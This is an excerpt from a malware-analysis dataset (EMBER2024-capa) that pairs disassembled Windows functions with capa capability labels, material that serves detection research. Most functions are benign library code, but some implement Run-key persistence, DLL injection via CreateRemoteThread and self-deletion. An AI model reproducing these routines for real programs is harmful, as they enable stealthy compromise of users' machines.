joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000932f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100022bd
xor ebx, ebx
push ebx
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x1000936c
push edi
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x100093cc
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x18], ax
call sub.WS2_32.dll_htons
push str.127.0.0.1
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
jne 0x100093a1
push esi
jmp 0x10009363
push 0x78
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
je 0x1000939e
push dword [ebp - 0x1c]
mov edi, dword [ebp + 0x10]
push esi
call fcn.100091d1
pop ecx
pop ecx
push ebx
push ebx
push eax
push 0x10009265
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x100095a9
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, eax
xor edx, edx
push 3
lea eax, [edi + 2]
pop ebx
div ebx
mov ecx, dword [ebp + 0x10]
shl eax, 2
inc eax
cmp dword [ecx], eax
jae 0x100095d3
push 6
mov dword [ecx], eax
pop eax
jmp 0x100096b5
xor edx, edx
push 3
mov eax, edi
pop ebx
div ebx
mov ecx, dword [ebp + 0xc]
xor edx, edx
imul eax, eax, 3
test eax, eax
jbe 0x10009652
dec eax
push ebx
pop edi
div edi
mov edi, eax
inc edi
mov edx, edi
imul edx, edx, 3
movzx eax, byte [esi]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi + 1]
movzx ebx, byte [esi]
shr eax, 4
shl ebx, 4
add eax, ebx
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
movzx eax, byte [esi + 2]
movzx ebx, byte [esi + 1]
shr eax, 6
lea eax, [eax + ebx*4]
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
movzx eax, byte [esi + 2]
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
inc ecx
add esi, 3
dec edi
jne 0x100095f5
mov edi, dword [ebp + 8]
cmp edx, edi
jae 0x100096a8
movzx eax, byte [esi]
inc edx
cmp edx, edi
jae 0x10009664
movzx esi, byte [esi + 1]
jmp 0x10009666
xor esi, esi
mov ebx, eax
shr ebx, 2
and ebx, 0x3f
mov bl, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], bl
shl eax, 4
mov ebx, esi
shr ebx, 4
add ebx, eax
and ebx, 0x3f
mov al, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
inc ecx
cmp edx, edi
jae 0x1000969e
and esi, 0xf
movsx eax, byte [esi*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x100096a1
push 0x3d
pop eax
mov byte [ecx], al
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov eax, dword [ebp + 0x10]
mov byte [ecx], 0
sub ecx, dword [ebp + 0xc]
mov dword [eax], ecx
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000af2a
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax + 0x28], ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
xor eax, eax
pop ebp
ret

Function at 0x1000b16f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [0x10035d70]
mov ebx, eax
push edi
mov eax, esi
call fcn.1000bf1f
test eax, eax
jne 0x1000b271
mov ecx, dword [0x10035d74]
cmp ecx, 1
jl 0x1000b26e
cmp ecx, 0x80
jg 0x1000b26e
mov eax, dword [ebp + 0xc]
xor edx, edx
div ecx
test edx, edx
jne 0x1000b26e
test cl, 3
jne 0x1000b26e
mov edx, esi
imul edx, edx, 0x60
mov edx, dword [edx + 0x100398e0]
test edx, edx
je 0x1000b1e7
push 0x10035df8
push 0x10035d78
push eax
push ebx
push dword [ebp + 8]
call edx
add esp, 0x14
jmp 0x1000b271
cmp dword [ebp + 0xc], 0
je 0x1000b26a
mov edi, 0x10035d78
jmp 0x1000b1fa
mov esi, dword [0x10035d70]
xor edx, edx
test ecx, ecx
jle 0x1000b221
mov ecx, dword [ebp + 8]
sub ecx, edi
lea eax, [edx + 0x10035d78]
mov esi, dword [ecx + eax]
xor dword [eax], esi
add edx, 4
cmp edx, dword [0x10035d74]
jl 0x1000b205
mov esi, dword [0x10035d70]
imul esi, esi, 0x60
push 0x10035df8
push ebx
push edi
call dword [esi + 0x100398c4]
add esp, 0xc
test eax, eax
jne 0x1000b271
mov ecx, dword [0x10035d74]
xor edx, edx
test ecx, ecx
jle 0x1000b260
mov esi, ebx
sub esi, edi
lea eax, [edx + 0x10035d78]
mov ecx, dword [esi + eax]
mov dword [eax], ecx
mov ecx, dword [0x10035d74]
add edx, 4
cmp edx, ecx
jl 0x1000b248
add dword [ebp + 8], ecx
add ebx, ecx
sub dword [ebp + 0xc], ecx
jne 0x1000b1f4
xor eax, eax
jmp 0x1000b271
push 0x10
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000b5b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [0x10036e98]
push edi
mov ebx, ecx
mov edi, edx
mov eax, esi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], edi
call fcn.1000bf1f
test eax, eax
jne 0x1000b6bd
mov ecx, dword [0x10036e9c]
cmp ecx, 1
jl 0x1000b6ba
cmp ecx, 0x80
jg 0x1000b6ba
mov eax, dword [ebp + 8]
xor edx, edx
div ecx
test edx, edx
jne 0x1000b6ba
test cl, 3
jne 0x1000b6ba
mov ecx, esi
imul ecx, ecx, 0x60
mov ecx, dword [ecx + 0x100398e4]
test ecx, ecx
je 0x1000b63b
push 0x10036f20
push 0x10036ea0
push eax
push edi
push ebx
call ecx
add esp, 0x14
jmp 0x1000b6bd
cmp dword [ebp + 8], 0
je 0x1000b6b6
jmp 0x1000b649
mov esi, dword [0x10036e98]
imul esi, esi, 0x60
push 0x10036f20
lea eax, [ebp - 0x14]
push eax
push ebx
call dword [esi + 0x100398c8]
add esp, 0xc
test eax, eax
jne 0x1000b6bd
mov eax, dword [0x10036e9c]
xor edi, edi
test eax, eax
jle 0x1000b6a6
mov ecx, dword [ebp - 0x18]
lea esi, [ebp - 0x14]
mov eax, 0x10036ea0
sub esi, ebx
sub ebx, eax
sub ecx, eax
mov dword [ebp - 0x20], ecx
lea eax, [edi + 0x10036ea0]
lea edx, [ebx + eax]
mov ecx, dword [esi + edx]
xor ecx, dword [eax]
mov edx, dword [edx]
mov dword [eax], edx
mov edx, dword [ebp - 0x20]
mov dword [edx + eax], ecx
mov eax, dword [0x10036e9c]
add edi, 4
cmp edi, eax
jl 0x1000b682
mov ebx, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
add ebx, eax
sub dword [ebp + 8], eax
mov dword [ebp - 0x1c], ebx
jne 0x1000b643
xor eax, eax
jmp 0x1000b6bd
push 0x10
pop eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x1000c606
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebx + 0x70]
mov eax, esi
call fcn.1000c4f6
test eax, eax
jne 0x1000c746
imul esi, esi, 0x68
push edi
mov edi, dword [esi + 0x1003a9b0]
push dword [esi + 0x1003a9b4]
mov dword [ebp - 8], edi
call fcn.10014459
push edi
mov dword [ebp - 4], eax
call fcn.10014459
cmp dword [ebp - 4], 0
pop ecx
mov edi, eax
pop ecx
mov dword [ebp - 0xc], edi
je 0x1000c737
test edi, edi
je 0x1000c72e
push edi
push ebx
call dword [esi + 0x1003aa04]
mov edi, eax
xor eax, eax
pop ecx
pop ecx
cmp edi, eax
jne 0x1000c70c
cmp dword [esi + 0x1003a9b4], eax
jbe 0x1000c692
mov ecx, dword [ebx + 0xe8]
mov cl, byte [ecx + eax]
mov edx, dword [ebp - 4]
xor cl, 0x5c
mov byte [eax + edx], cl
inc eax
cmp eax, dword [esi + 0x1003a9b4]
jb 0x1000c677
push ebx
call dword [esi + 0x1003a9fc]
mov edi, eax
pop ecx
test edi, edi
jne 0x1000c70c
push dword [esi + 0x1003a9b4]
push dword [ebp - 4]
push ebx
call dword [esi + 0x1003aa00]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x1000c70c
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
call dword [esi + 0x1003aa00]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x1000c70c
push dword [ebp - 4]
push ebx
call dword [esi + 0x1003aa04]
pop ecx
pop ecx
mov edi, eax
xor ecx, ecx
cmp edi, ecx
jne 0x1000c70c
cmp dword [ebp - 8], ecx
jbe 0x1000c705
mov esi, dword [ebp - 4]
sub esi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp ecx, dword [eax]
jae 0x1000c705
mov eax, dword [ebp + 8]
add eax, ecx
mov dl, byte [esi + eax]
inc ecx
mov byte [eax], dl
cmp ecx, dword [ebp - 8]
jb 0x1000c6ee
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
xor edi, edi
push dword [ebx + 0xe8]
call fcn.1001437c
push dword [ebp - 0xc]
call fcn.1001437c
push dword [ebp - 4]
call fcn.1001437c
add esp, 0xc
mov eax, edi
jmp 0x1000c745
push dword [ebp - 4]
call fcn.1001437c
pop ecx
test edi, edi
je 0x1000c742
push edi
call fcn.1001437c
pop ecx
push 0xd
pop eax
pop edi
pop esi
leave
ret
Function at 0x1000c749
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, eax
call fcn.1000c4f6
test eax, eax
jne 0x1000c784
push esi
mov esi, ebx
imul esi, esi, 0x68
mov dword [edi + 0x70], ebx
mov eax, dword [esi + 0x1003a9b0]
push dword [esi + 0x1003a9b4]
mov dword [ebp - 4], eax
call fcn.10014459
pop ecx
mov dword [ebp - 8], eax
test eax, eax
jne 0x1000c787
push 0xd
pop eax
pop esi
pop ebx
leave
ret
push dword [esi + 0x1003a9b4]
call fcn.10014459
pop ecx
mov dword [edi + 0xe8], eax
test eax, eax
jne 0x1000c7ad
push 0xd
pop ebx
push dword [ebp - 8]
call fcn.1001437c
pop ecx
mov eax, ebx
jmp 0x1000c783
mov ecx, dword [esi + 0x1003a9b4]
cmp ecx, 0x10
jae 0x1000c7f5
mov dword [ebp - 0xc], ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push 0x10
push 0x10039070
mov eax, ebx
call fcn.1000b80c
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x1000c875
mov eax, dword [esi + 0x1003a9b4]
cmp dword [ebp - 4], eax
jae 0x1000c825
sub eax, dword [ebp - 4]
push eax
mov eax, dword [edi + 0xe8]
add eax, dword [ebp - 4]
jmp 0x1000c81d
push 0x10
push 0x10039070
push eax
call fcn.10015df0
mov eax, dword [esi + 0x1003a9b4]
add esp, 0xc
cmp eax, 0x10
jbe 0x1000c825
add eax, 0xfffffff0
push eax
mov eax, dword [edi + 0xe8]
add eax, 0x10
push eax
call fcn.1000c4c3
pop ecx
pop ecx
xor eax, eax
cmp dword [esi + 0x1003a9b4], eax
jbe 0x1000c84a
mov ecx, dword [edi + 0xe8]
mov cl, byte [ecx + eax]
mov edx, dword [ebp - 8]
xor cl, 0x36
mov byte [eax + edx], cl
inc eax
cmp eax, dword [esi + 0x1003a9b4]
jb 0x1000c82f
push edi
call dword [esi + 0x1003a9fc]
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x1000c875
push dword [esi + 0x1003a9b4]
push dword [ebp - 8]
push edi
call dword [esi + 0x1003aa00]
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x1000c7a0
push dword [edi + 0xe8]
call fcn.1001437c
pop ecx
jmp 0x1000c7a0
Function at 0x1001436d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002d010]
jne 0x10014377
repz ret
jmp fcn.10017aaa

Function at 0x1001f345
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1001a898
and dword [ebp - 4], 0
cmp dword [0x1002fc58], 0
mov ebx, eax
jne 0x1001f3f6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1001f4a7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1001f4a7
push eax
call fcn.1001a826
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1002fc58], eax
call esi
push eax
call fcn.1001a826
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1002fc5c], eax
call esi
push eax
call fcn.1001a826
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1002fc60], eax
call esi
push eax
call fcn.1001a826
pop ecx
mov dword [0x1002fc68], eax
test eax, eax
je 0x1001f3f6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1001a826
pop ecx
mov dword [0x1002fc64], eax
mov eax, dword [0x1002fc64]
cmp eax, ebx
je 0x1001f44e
cmp dword [0x1002fc68], ebx
je 0x1001f44e
push eax
call fcn.1001a8a1
push dword [0x1002fc68]
mov esi, eax
call fcn.1001a8a1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1001f44e
test edi, edi
je 0x1001f44e
call esi
test eax, eax
je 0x1001f445
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001f445
test byte [ebp - 0xc], 1
jne 0x1001f44e
or dword [ebp + 0x10], 0x200000
jmp 0x1001f487
mov eax, dword [0x1002fc5c]
cmp eax, ebx
je 0x1001f487
push eax
call fcn.1001a8a1
pop ecx
test eax, eax
je 0x1001f487
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1001f487
mov eax, dword [0x1002fc60]
cmp eax, ebx
je 0x1001f487
push eax
call fcn.1001a8a1
pop ecx
test eax, eax
je 0x1001f487
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1002fc58]
call fcn.1001a8a1
pop ecx
test eax, eax
je 0x1001f4a7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001f4a9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f95
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x4020b1
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x402201
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x402247
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x402290
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x40228d
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x402290
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4023f2
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x402bd0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x402c1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402c14
test esi, esi
je 0x402c14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402bf0
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402e00
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402e50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402f28
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x402e8e
cmp eax, 4
jne 0x402eb0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x402e9e
cmp edx, 4
je 0x402e9e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402e00
Function at 0x403fe0
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x418894]
push esi
push 0xf0000000
xor esi, esi
push 0x18
push esi
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x428]
push eax
mov dword [ebp - 0x430], 0x20
mov dword [ebp - 0x428], esi
mov dword [ebp - 0x424], esi
mov byte [ebp - 0x20], 0x70
mov byte [ebp - 0x1f], 0xf2
mov byte [ebp - 0x1e], 0xca
mov byte [ebp - 0x1d], 0xa6
mov byte [ebp - 0x1c], 0xb2
mov byte [ebp - 0x1b], 0x2e
mov byte [ebp - 0x1a], 0xe2
mov byte [ebp - 0x19], 0xda
mov byte [ebp - 0x18], 0x71
mov byte [ebp - 0x17], 0xb4
mov byte [ebp - 0x16], 0xe6
mov byte [ebp - 0x15], 0x12
mov byte [ebp - 0x14], 0xa6
mov byte [ebp - 0x13], 0xbf
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0xb8
mov byte [ebp - 0xf], 0x59
mov byte [ebp - 0xe], 0x19
mov byte [ebp - 0xd], 0x9d
mov byte [ebp - 0xc], 0x2a
mov byte [ebp - 0xb], 0xe4
mov byte [ebp - 0xa], 0x4b
mov byte [ebp - 9], 0x66
mov byte [ebp - 8], 0x76
mov byte [ebp - 7], 0xa3
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x40417b
push ebx
push edi
lea eax, [ebp - 0x424]
push eax
push esi
push esi
push 0x800c
push dword [ebp - 0x428]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x4040b7
xor edi, edi
jmp 0x40416a
mov edi, dword [sym.imp.ADVAPI32.dll_CryptHashData]
push esi
push 0x1a
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x424]
call edi
test eax, eax
jne 0x4040d7
xor edi, edi
jmp 0x40415e
push 0x401530
push dword [ebp + 8]
mov dword [ebp - 0x42c], esi
call dword [sym.imp.msvcrt.dll__wfopen]
mov ebx, eax
cmp ebx, esi
pop ecx
pop ecx
je 0x40413e
push ebx
push 0x400
lea eax, [ebp - 0x420]
push 1
push eax
call dword [sym.imp.msvcrt.dll_fread]
add esp, 0x10
cmp eax, esi
jbe 0x404136
add dword [ebp - 0x42c], eax
push esi
push eax
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0x424]
call edi
test eax, eax
je 0x404188
cmp dword [ebp - 0x42c], 0x3000
jb 0x4040f3
push ebx
call dword [sym.imp.msvcrt.dll_fclose]
pop ecx
push esi
lea eax, [ebp - 0x430]
push eax
push dword [ebp + 0xc]
push 2
push dword [ebp - 0x424]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
xor edi, edi
test eax, eax
je 0x40415e
inc edi
push dword [ebp - 0x424]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push esi
push dword [ebp - 0x428]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, edi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
pop esi
call fcn.004140d0
leave
ret 8
push dword [ebp - 0x424]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push esi
push dword [ebp - 0x428]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push ebx
call dword [sym.imp.msvcrt.dll_fclose]
pop ecx
xor eax, eax
jmp 0x404179